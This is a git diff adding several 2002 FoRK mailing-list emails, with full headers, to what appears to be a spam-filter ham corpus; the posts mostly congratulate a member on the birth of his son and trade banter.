for ; Sat, 27 Jul 2002 05:44:58 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id DA00F2940A3; Fri, 26 Jul 2002 21:44:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 8B36C29409A for ; Fri, + 26 Jul 2002 21:43:44 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 5B4723EDB0; + Sat, 27 Jul 2002 00:44:07 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 59F793ED63; Sat, 27 Jul 2002 00:44:07 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Cc: vox@mindvox.com +Subject: And Away We go +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 27 Jul 2002 00:44:07 -0400 (EDT) + + +Off we go to the hospital + +Benjamin Wallace Higgins is on his way. + +-tom + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00915.5c8a9df80b70af9883deabbedb905d94 b/bayes/spamham/easy_ham_2/00915.5c8a9df80b70af9883deabbedb905d94 new file mode 100644 index 0000000..a79ede5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00915.5c8a9df80b70af9883deabbedb905d94 @@ -0,0 +1,130 @@ +From fork-admin@xent.com Mon Jul 29 11:29:07 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 9803344164 + for ; Mon, 29 Jul 2002 06:25:33 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:33 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g6RAEMi18867 for + ; Sat, 27 Jul 2002 11:14:22 +0100 +Received: from xent.com ([64.161.22.236]) by webnote.net (8.9.3/8.9.3) + with ESMTP id EAA15255 for ; Sat, 27 Jul 2002 04:21:00 + +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 061F82940A6; Fri, 26 Jul 2002 20:20:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from smtp-relay-1.adobe.com (smtp-relay-1.adobe.com + [192.150.11.1]) by xent.com (Postfix) with ESMTP id DE91D29409B for + ; Fri, 26 Jul 2002 20:19:44 -0700 (PDT) +Received: from inner-relay-1.corp.adobe.com (inner-relay-1 [153.32.1.51]) + by smtp-relay-1.adobe.com (8.12.3/8.12.3) with ESMTP id g6R3M4ih003450 for + ; Fri, 26 Jul 2002 20:22:04 -0700 (PDT) +Received: from mailsj-v1.corp.adobe.com (mailsj-dev.corp.adobe.com + [153.32.1.192]) by inner-relay-1.corp.adobe.com (8.12.3/8.12.3) with ESMTP + id g6R3KLuE007172 for ; Fri, 26 Jul 2002 20:20:21 -0700 + (PDT) +Received: from scarab23.adobe.com ([130.248.184.183]) by + mailsj-v1.corp.adobe.com (Netscape Messaging Server 4.15 v1 Jul 11 2001 + 16:32:57) with ESMTP id GZW18Z00.HKP; Fri, 26 Jul 2002 20:19:47 -0700 +Message-Id: <4.3.2.7.2.20020726201859.023b1810@mailsj-v1> +X-Sender: carkenbe@mailsj-v1 +X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 +To: Tom , "Adam L. Beberg" +From: Chris Arkenberg +Subject: Re: USA USA WE ARE NUMBER ....six. +Cc: fork@spamassassin.taint.org +In-Reply-To: +References: +MIME-Version: 1.0 +Content-Type: text/plain; charset="us-ascii"; format=flowed +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Fri, 26 Jul 2002 20:19:49 -0700 + +Good point, Tom. + +We want to be led. It's much easier to blame our leaders, throw stones at +scapegoats, than to actually take responsibility for our actions and think +through the consequences. + +At 11:14 AM 7/26/2002 -0400, Tom wrote: +>On Fri, 26 Jul 2002, Tom wrote: +> +>--]On Thu, 25 Jul 2002, Adam L. Beberg wrote: +>--] +>--]--]Drains what? My wallet you mean? America _is_ greed, that's who and +>what we +>--]--]are. +>--] +>--]You really are about as clueless as a fridge without tcp/ip. +> +>Before there is a jump off to some thread I cant be around to respond to +>(contractions now getting closer and longer and stronger but the kids head +>is still a bit off true) let me say this. +> +>(and this is the short rambling take on America as it stands today, so +>flesh it our for me if you want) +> +>The problem with america is not its goverment, its companies, its +>corportate raider mentality, its throw away buy a new one culture, its not +>that we are greedy or shallow or over religious or under religious or even +>religious in the context of a secular ruling system...... +> +>The problem with america is its citizens, the things that make it up. We +>are not greedy, we are sheep. We are easily led from one trend to the +>next, we are diverted in our lives to follow any one of a number of media +>induced "goals" that run us through commericalistic hoops shedding not +>only our worth but our fine grain value as individuals. +> +>We are a nation of a million differnt parts seeking a homogony of sameness +>thru right thought, right action right purcheses right hopes right dreams +>right teampicking right listeningtothem right mouthingoftheessentialwords +>and right sameness +> +>We seek to loose the individuality of our past by plunging headlong into +>the lava searing melting pot to come out with all our quak spins set the +>same as anyone else. +> +>In so doing we subvert and subject ourselves tothe "status quo" in ways +>that makes Islam look like an excersise in free will and hippy love +>magic. +> +>We have allowed a subset of our citizens to set the pace for us, mostly +>because to set the pace sets you apart and that is a bad thing in the +>melting pot society. Thats why the rulers, the trend setters, the rich and +>the famous are the THEM. +> +>We then follow that with THEY set us up to do, we run the various rat +>mazes that have been constructed and call this a live, We chase the +>cheese, which is green, moldy and made of paper. We climb the moutians set +>up as goals. We fight the OTHERS who we are told are evil. In the end we +>judge our living on how well we followed one of the mazes and how fat we +>are before the slaughter. +> +>We are the blue collar worker, the office worker, the disability con, the +>tech warrior, the homemaker, the godfearing do gooder, the celeb. +> +>or we are the OTHER, the dont fiters, the Trouble Makers. +> +>-tom +> +> +> +>http://xent.com/mailman/listinfo/fork + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00916.892ff99f6e224042cfb4392b57fec056 b/bayes/spamham/easy_ham_2/00916.892ff99f6e224042cfb4392b57fec056 new file mode 100644 index 0000000..dcd1a46 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00916.892ff99f6e224042cfb4392b57fec056 @@ -0,0 +1,69 @@ +From fork-admin@xent.com Mon Jul 29 11:29:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 39A0044165 + for ; Mon, 29 Jul 2002 06:25:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:35 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6RBP0i27075 for ; + Sat, 27 Jul 2002 12:25:01 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C491F2940A8; Sat, 27 Jul 2002 04:23:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id C97CE29409C for + ; Sat, 27 Jul 2002 04:22:21 -0700 (PDT) +Received: (qmail 5163 invoked by uid 501); 27 Jul 2002 11:22:15 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 27 Jul 2002 11:22:15 -0000 +From: CDale +To: Tom +Cc: fork@spamassassin.taint.org, +Subject: Re: And Away We go +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 27 Jul 2002 06:22:15 -0500 (CDT) + +A true geek. Runs to the puter to post before taking a laboring wife to +the hospital. I'd kill you. LOL +Grats, Daddy-o! +C + +On Sat, 27 Jul 2002, Tom wrote: + +> +> Off we go to the hospital +> +> Benjamin Wallace Higgins is on his way. +> +> -tom +> +> +> http://xent.com/mailman/listinfo/fork +> + +-- +"My theology, briefly, is that the universe was dictated but not + signed." (Christopher Morley) + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00917.07741f95320ad6bbf7ac152645c1c8ae b/bayes/spamham/easy_ham_2/00917.07741f95320ad6bbf7ac152645c1c8ae new file mode 100644 index 0000000..34750be --- /dev/null +++ b/bayes/spamham/easy_ham_2/00917.07741f95320ad6bbf7ac152645c1c8ae @@ -0,0 +1,73 @@ +From fork-admin@xent.com Mon Jul 29 11:29:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id B905944103 + for ; Mon, 29 Jul 2002 06:25:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:37 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6RM32i29683 for ; + Sat, 27 Jul 2002 23:03:02 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id C062D2940AB; Sat, 27 Jul 2002 15:01:06 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 273EE2940A7 for ; + Sat, 27 Jul 2002 15:00:35 -0700 (PDT) +Received: (qmail 16253 invoked by uid 1111); 27 Jul 2002 22:00:37 -0000 +From: "Adam L. Beberg" +To: CDale +Cc: Tom , +Subject: Re: And Away We go +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 27 Jul 2002 15:00:37 -0700 (PDT) + +On Sat, 27 Jul 2002, CDale wrote: + +> A true geek. Runs to the puter to post before taking a laboring wife to +> the hospital. I'd kill you. LOL +> Grats, Daddy-o! + +Fear not poor Tom, between the pain & endorphins and/or massive amounts of +drugs, she should remember little of the process. Her body is designed to +block out the whole event, so that she can tell other women "oh having the +baby wasnt so bad, you should have one!". Why else would any woman be +willing to EVER have sex. + +> On Sat, 27 Jul 2002, Tom wrote: +> +> > +> > Off we go to the hospital +> > +> > Benjamin Wallace Higgins is on his way. +> > +> > -tom + +And so passes into the great beyond another FoRKer. Only bagpipes could +possibly do justice to a moment like this. See you when the kids hits +preschool, which is about the next time you will be sleeping again. + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00918.0881c41b33de2efe11464c2fac2ed760 b/bayes/spamham/easy_ham_2/00918.0881c41b33de2efe11464c2fac2ed760 new file mode 100644 index 0000000..3f4a1aa --- /dev/null +++ b/bayes/spamham/easy_ham_2/00918.0881c41b33de2efe11464c2fac2ed760 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Mon Jul 29 11:29:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 2645E44166 + for ; Mon, 29 Jul 2002 06:25:37 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:37 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6RLb3i28651 for ; + Sat, 27 Jul 2002 22:37:03 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 5FFE92940A7; Sat, 27 Jul 2002 14:35:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from usilms55.ca.com (mail3.cai.com [141.202.248.42]) by + xent.com (Postfix) with ESMTP id 4252D29409E for ; + Sat, 27 Jul 2002 14:34:35 -0700 (PDT) +Received: by usilms55.ca.com with Internet Mail Service (5.5.2655.55) id + ; Sat, 27 Jul 2002 17:15:30 -0400 +Message-Id: <88FC3D8B38457B44AFCCC959C84C108C0675F38A@USILMS07.ca.com> +From: "Meltsner, Kenneth" +To: CDale , Tom +Cc: fork@spamassassin.taint.org, vox@mindvox.com +Subject: RE: And Away We go +MIME-Version: 1.0 +X-Mailer: Internet Mail Service (5.5.2655.55) +Content-Type: text/plain; charset="iso-8859-1" +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 27 Jul 2002 17:15:30 -0400 + +Nope, a true geek would have a Blackberry so he could give us updates *from* the hospital. + +Ken + +> -----Original Message----- +> From: CDale [mailto:cdale@techmonkeys.net] +> Sent: Saturday, July 27, 2002 6:22 AM +> +> A true geek. Runs to the puter to post before taking a +> laboring wife to +> the hospital. I'd kill you. LOL +> Grats, Daddy-o! +> C +> +> On Sat, 27 Jul 2002, Tom wrote: +> +> > +> > Off we go to the hospital +> > +> > Benjamin Wallace Higgins is on his way. +> > +> > -tom +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00919.0009a4cbba10103048f87499fc0e73d8 b/bayes/spamham/easy_ham_2/00919.0009a4cbba10103048f87499fc0e73d8 new file mode 100644 index 0000000..f57dd3e --- /dev/null +++ b/bayes/spamham/easy_ham_2/00919.0009a4cbba10103048f87499fc0e73d8 @@ -0,0 +1,68 @@ +From fork-admin@xent.com Mon Jul 29 11:29:18 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 3319B44167 + for ; Mon, 29 Jul 2002 06:25:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:38 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6RMc4i00470 for ; + Sat, 27 Jul 2002 23:38:05 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 60FE42940B0; Sat, 27 Jul 2002 15:36:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from isolnetsux.techmonkeys.net (isolnetsux.techmonkeys.net + [64.243.46.20]) by xent.com (Postfix) with SMTP id 540DB2940AF for + ; Sat, 27 Jul 2002 15:35:19 -0700 (PDT) +Received: (qmail 21648 invoked by uid 501); 27 Jul 2002 22:35:14 -0000 +Received: from localhost (sendmail-bs@127.0.0.1) by localhost with SMTP; + 27 Jul 2002 22:35:14 -0000 +From: CDale +To: "Adam L. Beberg" +Cc: Tom , +Subject: Re: And Away We go +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 27 Jul 2002 17:35:14 -0500 (CDT) + +On Sat, 27 Jul 2002, Adam L. Beberg wrote: + +> On Sat, 27 Jul 2002, CDale wrote: +> +> > A true geek. Runs to the puter to post before taking a laboring wife to +> > the hospital. I'd kill you. LOL +> > Grats, Daddy-o! +> +> Fear not poor Tom, between the pain & endorphins and/or massive amounts of +> drugs, she should remember little of the process. Her body is designed to +> block out the whole event, so that she can tell other women "oh having the +> baby wasnt so bad, you should have one!". Why else would any woman be +> willing to EVER have sex. + +This tells me two things: +1. You are truly male. +2. You are a male who has a very narrow view of what sex is about. + +(: + +C + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00920.743eb834544d6f68b44c7a91ea570f6f b/bayes/spamham/easy_ham_2/00920.743eb834544d6f68b44c7a91ea570f6f new file mode 100644 index 0000000..37476fe --- /dev/null +++ b/bayes/spamham/easy_ham_2/00920.743eb834544d6f68b44c7a91ea570f6f @@ -0,0 +1,95 @@ +From fork-admin@xent.com Mon Jul 29 11:29:19 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A322D44168 + for ; Mon, 29 Jul 2002 06:25:38 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:38 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6S2Q5i12315 for ; + Sun, 28 Jul 2002 03:26:05 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 08A0A29409A; Sat, 27 Jul 2002 19:24:08 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from magnesium.net (toxic.magnesium.net [207.154.84.15]) by + xent.com (Postfix) with SMTP id 1159A294098 for ; + Sat, 27 Jul 2002 19:23:30 -0700 (PDT) +Received: (qmail 31188 invoked by uid 65534); 28 Jul 2002 02:23:41 -0000 +Received: from ppp-192-216-194-138.tstonramp.com ([192.216.194.138]) + (SquirrelMail authenticated user bitbitch) by webmail.magnesium.net with + HTTP; Sat, 27 Jul 2002 19:23:41 -0700 (PDT) +Message-Id: <1253.192.216.194.138.1027823021.squirrel@webmail.magnesium.net> +Subject: Re: And Away We go +From: +To: +In-Reply-To: +References: + +X-Priority: 3 +Importance: Normal +X-Msmail-Priority: Normal +Cc: , +X-Mailer: SquirrelMail (version 1.2.6) +MIME-Version: 1.0 +Content-Type: text/plain; charset=iso-8859-1 +Content-Transfer-Encoding: 8bit +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 27 Jul 2002 19:23:41 -0700 (PDT) + +>> Fear not poor Tom, between the pain & endorphins and/or massive +>> amounts of drugs, she should remember little of the process. Her body +>> is designed to block out the whole event, so that she can tell other +>> women "oh having the baby wasnt so bad, you should have one!". Why +>> else would any woman be willing to EVER have sex. +> +> This tells me two things: +> 1. You are truly male. +> 2. You are a male who has a very narrow view of what sex is about. +> +> (: +> +> C + +Having not had a baby meself, but having listened to my mother and +countless others retell the tale, I'd reccomend to Adam a few bits of +advice: +1) We don't generally have sex just to get preggers. You'd never get +laid if that was the case. BUt hey, if we can convince you that the reason +women don't have sex with you adam is because they don't want to carry +your embittered, angry child, well hey. Girls Win! +2) Birth control. Let me say this again because Adam has forgotten the +last 50 years (at least for the pill) BIRTH control. +3) For many women with men who can actually uh... satisfy, sex is great. + Maybe you're lacking in this department ? ;) + +So moral of the story: Women, keep telling Adam that no one will have +sex with him because they don't want to get preggers with his angry, +bitter children and go through the pain of childbirth. +yea.. thats it. + +;) + + + + +> +> http://xent.com/mailman/listinfo/fork + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00921.41c7e4d55fe0c54686e4c19184c48d17 b/bayes/spamham/easy_ham_2/00921.41c7e4d55fe0c54686e4c19184c48d17 new file mode 100644 index 0000000..6a106d6 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00921.41c7e4d55fe0c54686e4c19184c48d17 @@ -0,0 +1,65 @@ +From fork-admin@xent.com Mon Jul 29 11:29:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 213C044104 + for ; Mon, 29 Jul 2002 06:25:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6S2e5i12797 for ; + Sun, 28 Jul 2002 03:40:05 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 196A429409F; Sat, 27 Jul 2002 19:38:07 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from mithral.com (watcher.mithral.com [204.153.244.1]) by + xent.com (Postfix) with SMTP id 9863929409D for ; + Sat, 27 Jul 2002 19:37:27 -0700 (PDT) +Received: (qmail 17231 invoked by uid 1111); 28 Jul 2002 02:30:50 -0000 +From: "Adam L. Beberg" +To: +Cc: , +Subject: Re: And Away We go +In-Reply-To: <1253.192.216.194.138.1027823021.squirrel@webmail.magnesium.net> +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sat, 27 Jul 2002 19:30:50 -0700 (PDT) + +On Sat, 27 Jul 2002 bitbitch@magnesium.net wrote: + +> >> Fear not poor Tom, between the pain & endorphins and/or massive +> >> amounts of drugs, she should remember little of the process. Her body +> >> is designed to block out the whole event, so that she can tell other +> >> women "oh having the baby wasnt so bad, you should have one!". Why +> >> else would any woman be willing to EVER have sex. +> +> Having not had a baby meself, but having listened to my mother and +> countless others retell the tale, I'd reccomend to Adam a few bits of +> advice: +> 1) We don't generally have sex just to get preggers. + +I was of course refering to the last 100 million years or so, the last 50 +are just a blip. + + +- Adam L. "Duncan" Beberg + http://www.mithral.com/~beberg/ + beberg@mithral.com + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00922.8cf18af404b07fec0251f809c8ccf370 b/bayes/spamham/easy_ham_2/00922.8cf18af404b07fec0251f809c8ccf370 new file mode 100644 index 0000000..c4d6fe3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00922.8cf18af404b07fec0251f809c8ccf370 @@ -0,0 +1,59 @@ +From fork-admin@xent.com Mon Jul 29 11:29:24 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8C87C44169 + for ; Mon, 29 Jul 2002 06:25:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6S479i18625 for ; + Sun, 28 Jul 2002 05:07:10 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 4CED32940A2; Sat, 27 Jul 2002 21:05:11 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 83BA829409C for ; Sat, + 27 Jul 2002 21:04:37 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 0106A3EDEA; + Sun, 28 Jul 2002 00:05:08 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id EAE573EDE8; Sun, 28 Jul 2002 00:05:08 -0400 (EDT) +From: Tom +To: CDale +Cc: fork@spamassassin.taint.org, +Subject: Re: And Away We go +In-Reply-To: +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 00:05:08 -0400 (EDT) + +On Sat, 27 Jul 2002, CDale wrote: + +--]A true geek. Runs to the puter to post before taking a laboring wife to +--]the hospital. I'd kill you. LOL + +Scripts baby:)- + +One key and I was off.well a few more than one but well under .30 secs of +time. + + + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00923.521c1f08fb31ac1dd27c75c588e1f252 b/bayes/spamham/easy_ham_2/00923.521c1f08fb31ac1dd27c75c588e1f252 new file mode 100644 index 0000000..6a92d3f --- /dev/null +++ b/bayes/spamham/easy_ham_2/00923.521c1f08fb31ac1dd27c75c588e1f252 @@ -0,0 +1,67 @@ +From fork-admin@xent.com Mon Jul 29 11:29:25 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id EC8E14416A + for ; Mon, 29 Jul 2002 06:25:39 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:39 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6S4D4i19338 for ; + Sun, 28 Jul 2002 05:13:04 +0100 +Received: from lair.xent.com (localhost [127.0.0.1]) by xent.com (Postfix) + with ESMTP id 61F062940AF; Sat, 27 Jul 2002 21:08:09 -0700 (PDT) +Delivered-To: fork@spamassassin.taint.org +Received: from crank.slack.net (slack.net [166.84.151.181]) by xent.com + (Postfix) with ESMTP id 2793C2940AB for ; Sat, + 27 Jul 2002 21:07:31 -0700 (PDT) +Received: by crank.slack.net (Postfix, from userid 596) id 848683EDEA; + Sun, 28 Jul 2002 00:08:02 -0400 (EDT) +Received: from localhost (localhost [127.0.0.1]) by crank.slack.net + (Postfix) with ESMTP id 8317E3EDD2; Sun, 28 Jul 2002 00:08:02 -0400 (EDT) +From: Tom +To: fork@spamassassin.taint.org +Cc: vox@mindvox.com +Subject: Benjamin Wallace Higgins +Message-Id: +MIME-Version: 1.0 +Content-Type: TEXT/PLAIN; charset=US-ASCII +Sender: fork-admin@xent.com +Errors-To: fork-admin@xent.com +X-Beenthere: fork@spamassassin.taint.org +X-Mailman-Version: 2.0.11 +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , +List-Id: Friends of Rohit Khare +List-Unsubscribe: , + +List-Archive: +Date: Sun, 28 Jul 2002 00:08:02 -0400 (EDT) + + +At 12:45 am Benjamin Wallace Higgins made a crash entry into + the world. After a night of on again off again activity a C section + was called for near noon. Seems the little hacker was messing + with the internal cables and got three turns of the umbilical cord + around his neck for the effort. Ill have to teach him about the art + of cable bundling. Benjamin Wallace came out at 6 lbs 13 oz 20 + somthing inches tall and doing what all Higgins boys do best... + feed and sleep. Mother and Child are doing great. + +MOre when I get teh chance. We are in the hospital for 3 days but I have a +free terminal scoped out that now has ssh on it. + +The first pewp...man they prep you for it but northing really can...Wowzer +that stuff is road tar. + + +lates + +-tom + +http://xent.com/mailman/listinfo/fork + + diff --git a/bayes/spamham/easy_ham_2/00924.374197012a2e87b0ecd463e584b0702b b/bayes/spamham/easy_ham_2/00924.374197012a2e87b0ecd463e584b0702b new file mode 100644 index 0000000..de533e3 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00924.374197012a2e87b0ecd463e584b0702b @@ -0,0 +1,63 @@ +From fork-admin@xent.com Mon Jul 29 11:29:27 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 62FCE4416B + for ; Mon, 29 Jul 2002 06:25:40 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 29 Jul 2002 11:25:40 +0100 (IST) +Received: from xent.com ([64.161.22.236]) by dogma.slashnull.org + (8.11.6/8.11.6) with ESMTP id g6S4IIi19696 for ; + Sun, 28 Jul 